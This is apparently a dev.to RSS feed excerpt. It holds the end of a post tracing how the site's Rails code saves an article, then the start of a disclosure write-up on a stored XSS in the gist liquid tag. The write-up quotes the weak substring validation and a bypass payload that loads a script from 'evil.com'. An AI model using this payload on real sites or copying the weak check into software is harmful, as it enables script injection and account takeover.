  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/articles/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/articles&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
    &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;article&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current_state_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current_state_path&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;errorCb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;failureCb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Therefore, once you click the &lt;code&gt;SAVE ARTICLE&lt;/code&gt; button, the following happens:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An article is created based on the current &lt;code&gt;state&lt;/code&gt; variable&lt;/li&gt;
&lt;li&gt;The article is sent to &lt;code&gt;/api/articles&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Once the save is complete, we're redirect to its new URL.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We can now start digging into the back-end!&lt;/p&gt;

&lt;h2&gt;
  
  
  Back-end
&lt;/h2&gt;

&lt;p&gt;We're now receiving an article from the front-end in the form of a JSON file, at the &lt;code&gt;/api/articles&lt;/code&gt; route via a POST. &lt;/p&gt;

&lt;h3&gt;
  
  
  Routing
&lt;/h3&gt;

&lt;p&gt;Once again, in the &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/config/routes.rb#L47"&gt;/config/routes.rb&lt;/a&gt; file, we need to search for our endpoint.&lt;/p&gt;

&lt;p&gt;There is an &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/config/routes.rb#L44"&gt;api&lt;/a&gt; namespace which contains our &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/config/routes.rb#L47"&gt;articles&lt;/a&gt; resource.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://guides.rubyonrails.org/routing.html#crud-verbs-and-actions"&gt;A Ruby on Rails Resource maps few default CRUD verbs to their respective methods&lt;/a&gt;, so in our case the &lt;code&gt;POST&lt;/code&gt; method will call the &lt;code&gt;articles#create&lt;/code&gt; method.&lt;/p&gt;

&lt;p&gt;routes.rb&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;namespace&lt;/span&gt; &lt;span class="ss"&gt;:api&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;defaults: &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;format: &lt;/span&gt;&lt;span class="s2"&gt;"json"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;scope&lt;/span&gt; &lt;span class="ss"&gt;module: :v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="ss"&gt;constraints: &lt;/span&gt;&lt;span class="no"&gt;ApiConstraints&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;version: &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;default: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="n"&gt;resources&lt;/span&gt; &lt;span class="ss"&gt;:articles&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;only: &lt;/span&gt;&lt;span class="sx"&gt;%i[index show create update]&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
      &lt;span class="n"&gt;collection&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
        &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="s2"&gt;"/onboarding"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;to: &lt;/span&gt;&lt;span class="s2"&gt;"articles#onboarding"&lt;/span&gt;
      &lt;span class="k"&gt;end&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
    &lt;span class="n"&gt;resources&lt;/span&gt; &lt;span class="ss"&gt;:comments&lt;/span&gt;
&lt;span class="sr"&gt;//&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Controller
&lt;/h3&gt;

&lt;p&gt;We now are in the &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/controllers/articles_controller.rb#L86"&gt;/app/controllers/articles_controller&lt;/a&gt;, under the &lt;code&gt;create&lt;/code&gt; method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create&lt;/span&gt;
  &lt;span class="n"&gt;authorize&lt;/span&gt; &lt;span class="no"&gt;Article&lt;/span&gt;
  &lt;span class="vi"&gt;@user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;current_user&lt;/span&gt;
  &lt;span class="vi"&gt;@article&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;ArticleCreationService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
    &lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="vi"&gt;@user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;article_params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;job_opportunity_params&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;
    &lt;span class="nf"&gt;create!&lt;/span&gt;
  &lt;span class="n"&gt;redirect_after_creation&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Service
&lt;/h3&gt;

&lt;p&gt;This method calls the &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/services/article_creation_service.rb#L10"&gt;ArticleCreationService&lt;/a&gt;, which will create our article!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create!&lt;/span&gt;
  &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="no"&gt;RateLimitChecker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;limit_by_situation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"published_article_creation"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;article&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;article_params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;id&lt;/span&gt;
  &lt;span class="n"&gt;article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;show_comments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;organization_id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;present?&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;article_params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:publish_under_org&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;to_i&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="n"&gt;article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;organization_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;organization_id&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="n"&gt;create_job_opportunity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;article&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;published&lt;/span&gt;
      &lt;span class="no"&gt;Notification&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;article&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"Published"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="n"&gt;article&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decorate&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This services creates a new instance of the &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/models/article.rb"&gt;Article&lt;/a&gt; model, and saves it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Model
&lt;/h3&gt;

&lt;p&gt;With Ruby on Rails, our models are &lt;a href="https://guides.rubyonrails.org/active_record_basics.html"&gt;Active Records&lt;/a&gt;, and have a bit of magic attached to it.&lt;/p&gt;

&lt;p&gt;While I won't dive into the database mapping part of the object, what I find interesting are the &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/models/article.rb#L43"&gt;before&lt;/a&gt; methods, called when creating or saving an object.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;before_validation&lt;/span&gt; &lt;span class="ss"&gt;:evaluate_markdown&lt;/span&gt;
&lt;span class="n"&gt;before_validation&lt;/span&gt; &lt;span class="ss"&gt;:create_slug&lt;/span&gt;
&lt;span class="n"&gt;before_create&lt;/span&gt;     &lt;span class="ss"&gt;:create_password&lt;/span&gt;
&lt;span class="n"&gt;before_save&lt;/span&gt;       &lt;span class="ss"&gt;:set_all_dates&lt;/span&gt;
&lt;span class="n"&gt;before_save&lt;/span&gt;       &lt;span class="ss"&gt;:calculate_base_scores&lt;/span&gt;
&lt;span class="n"&gt;before_save&lt;/span&gt;       &lt;span class="ss"&gt;:set_caches&lt;/span&gt;
&lt;span class="n"&gt;after_save&lt;/span&gt; &lt;span class="ss"&gt;:async_score_calc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;if: :published&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;before_validation&lt;/code&gt; methods will be called before ensuring the object is valid.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/models/article.rb#L295"&gt;evaluate_markdown&lt;/a&gt; will convert our markdown to HTML
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/models/article.rb#L431"&gt;create_slug&lt;/a&gt; will create a most-likely unique slug for the URL&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/models/article.rb#L444"&gt;create_password&lt;/a&gt; will make a unique preview password value&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The remaining methods should be quite explicit by their names.&lt;/p&gt;

&lt;p&gt;The model will also perform &lt;a href="https://github.com/thepracticaldev/dev.to/blob/92a494a1ea3ee3e02c208017eb1af1b6ef7466a7/app/models/article.rb#L20"&gt;many validations&lt;/a&gt; on its properties.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;  &lt;span class="n"&gt;validates&lt;/span&gt; &lt;span class="ss"&gt;:slug&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;presence: &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;if: :published?&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="ss"&gt;format: &lt;/span&gt;&lt;span class="sr"&gt;/\A[0-9a-z-]*\z/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="ss"&gt;uniqueness: &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;scope: :user_id&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;validates&lt;/span&gt; &lt;span class="ss"&gt;:title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;presence: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="ss"&gt;length: &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;maximum: &lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;validates&lt;/span&gt; &lt;span class="ss"&gt;:user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;presence: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;
  &lt;span class="n"&gt;validates&lt;/span&gt; &lt;span class="ss"&gt;:feed_source_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;uniqueness: &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;allow_blank: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;validates&lt;/span&gt; &lt;span class="ss"&gt;:canonical_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="ss"&gt;url: &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;allow_blank: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;no_local: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;schemes: &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"https"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"http"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="ss"&gt;uniqueness: &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;allow_blank: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;Phew, this article is now saved! That was a lot of work for a simple action.&lt;/p&gt;

&lt;p&gt;As a quick recap, to view an article, we load the correct &lt;em&gt;Controller&lt;/em&gt;, which loads a &lt;em&gt;View&lt;/em&gt; and renders it to the page.  &lt;/p&gt;

&lt;p&gt;When trying to perform CRUD operations, we find the correct route based on our &lt;em&gt;API Resource&lt;/em&gt;, which loads a &lt;em&gt;Controller&lt;/em&gt;. This controller can interact with the data using &lt;em&gt;Services&lt;/em&gt;, themselves using &lt;em&gt;Models&lt;/em&gt; to interact with the database.&lt;/p&gt;




&lt;p&gt;Now that the technical side is covered, I would like to get some feedback on this post.&lt;/p&gt;

&lt;p&gt;I have few objectives with this serie:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Help people navigate through &lt;em&gt;big&lt;/em&gt; codebases and understand their architecture&lt;/li&gt;
&lt;li&gt;Lower the contribution entry-barrier for open-source projects such as this website.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is why feedback is important. &lt;br&gt;
Did it help you understand the source?&lt;br&gt;
Perhaps there is something specific you would like to see?&lt;/p&gt;

&lt;p&gt;Please tell me in a comment below, and I'll do my best to improve this serie!&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>ruby</category>
      <category>javascript</category>
      <category>rails</category>
    </item>
    <item>
      <title>Pwned Together: Hacking dev.to</title>
      <dc:creator>Antony Garand</dc:creator>
      <pubDate>Fri, 31 Aug 2018 01:12:20 +0000</pubDate>
      <link>https://dev.to/antogarand/pwned-together-hacking-devto-hkd</link>
      <guid>https://dev.to/antogarand/pwned-together-hacking-devto-hkd</guid>
      <description>&lt;h1&gt;
  
  
  Intro
&lt;/h1&gt;

&lt;p&gt;After reading this great post regarding the source of Dev.to, I got inspired. &lt;br&gt;
In order to celebrate my 500th follower on here, I gave myself the challenge to hack dev.to! &lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag__link"&gt;
  &lt;a href="/joshcheek" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__pic"&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F707%2F77495.jpeg" alt="joshcheek"&gt;
    &lt;/div&gt;
  &lt;/a&gt;
  &lt;a href="/joshcheek/this-website-is-open-source-3db4" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__content"&gt;
      &lt;h2&gt;This website is open source&lt;/h2&gt;
      &lt;h3&gt;Josh Cheek ・ Aug 21 '18&lt;/h3&gt;
      &lt;div class="ltag__link__taglist"&gt;
        &lt;span class="ltag__link__tag"&gt;#opensource&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/a&gt;
&lt;/div&gt;


&lt;p&gt;In the end, I found a stored XSS in a custom liquid tag. This means that if you viewed an infected blog post, I could have controlled your browser, and execute actions on your behalf!&lt;/p&gt;

&lt;h1&gt;
  
  
  Context
&lt;/h1&gt;

&lt;p&gt;An XSS is a flaw in which a malicious user, in this case &lt;em&gt;me&lt;/em&gt;, can inject javascript code into the page.&lt;br&gt;
With JavaScript, specially in a single page application, I can do pretty much anything with your account on this website!&lt;/p&gt;

&lt;p&gt;I could update your profile, publish new posts, like and comment on publications, and much more!&lt;br&gt;&lt;br&gt;
Having an XSS means I have full control of the website from the browser's perspective, and therefore is a pretty severe issue.&lt;/p&gt;

&lt;p&gt;There are different type of XSS:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reflected XSS: Requires the user to access a malicious link to be triggered.
This means you would need to be redirected or to click a link in order for the exploit to be triggered.&lt;/li&gt;
&lt;li&gt;Stored XSS: This is an XSS which is saved on the server, and therefore is presented by the website itself. This is the case of a specially crafted blog post.
It is a lot more severe as it can be triggered by normal user behavior, and replicated for everyone.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As an example, a stored XSS was found on &lt;a href="https://tweetdeck.twitter.com/" rel="noopener noreferrer"&gt;TweetDeck&lt;/a&gt; few years ago, where the malicious code was retweeting itself and ended up with a ridiculous amount of retweets:&lt;br&gt;
&lt;iframe class="tweet-embed" id="tweet-476764918763749376-422" src="https://platform.twitter.com/embed/Tweet.html?id=476764918763749376"&gt;
&lt;/iframe&gt;

  // Detect dark theme
  var iframe = document.getElementById('tweet-476764918763749376-422');
  if (document.body.className.includes('dark-theme')) {
    iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=476764918763749376&amp;amp;theme=dark"
  }



&lt;/p&gt;

&lt;h1&gt;
  
  
  Vulnerability
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Original code
&lt;/h2&gt;

&lt;p&gt;As mentioned on the &lt;a href="https://dev.to/p/editor_guide"&gt;Editor Guide&lt;/a&gt;, there are many custom Liquid Tags implemented in here. One of those was newly created by Josh in the mentioned blog post, so I decided to start there to check out for security issues!&lt;/p&gt;

&lt;p&gt;The source for these liquid tags live under &lt;a href="https://github.com/thepracticaldev/dev.to/tree/master/app/liquid_tags/"&gt;/app/liquid_tags&lt;/a&gt; folder.&lt;br&gt;
Quickly, the &lt;a href="https://github.com/thepracticaldev/dev.to/blob/e588fa7ece36d2c5aa398ba5eedee6b9d60b0818/app/liquid_tags/gist_tag.rb"&gt;gist&lt;/a&gt; interested me: The given tag was rendered directly into a script tag!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;~&lt;/span&gt;&lt;span class="no"&gt;HTML&lt;/span&gt;&lt;span class="sh"&gt;
  &amp;lt;div class="ltag_gist-liquid-tag"&amp;gt;
      &amp;lt;script id="gist-ltag" src="&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@link&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;.js"&amp;gt;&amp;lt;/script&amp;gt;
  &amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;span class="no"&gt;HTML&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;And there were many workarounds for its validation:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;valid_link?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;include?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"gist.github.com"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The usage for the &lt;code&gt;gist&lt;/code&gt; link is the following in the &lt;a href="https://dev.to/p/editor_guide"&gt;documentation&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{% gist https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa %}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Adding &lt;code&gt;.js&lt;/code&gt; gives us a script which creates a pretty embed around the content of the gist:&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;



&lt;p&gt;As the validation was not sufficient, only checking if the link contained &lt;code&gt;gist.github.com&lt;/code&gt;, it could be bypassed:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;{% gist //evil.com/script#gist.github.com %}&lt;/code&gt; would be converted into &lt;code&gt;&amp;lt;script src="//evil.com/script#gist.github.com.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br&gt;
The previous gist would therefore load an unsafe script on the blog post, making it a stored xss!&lt;/p&gt;

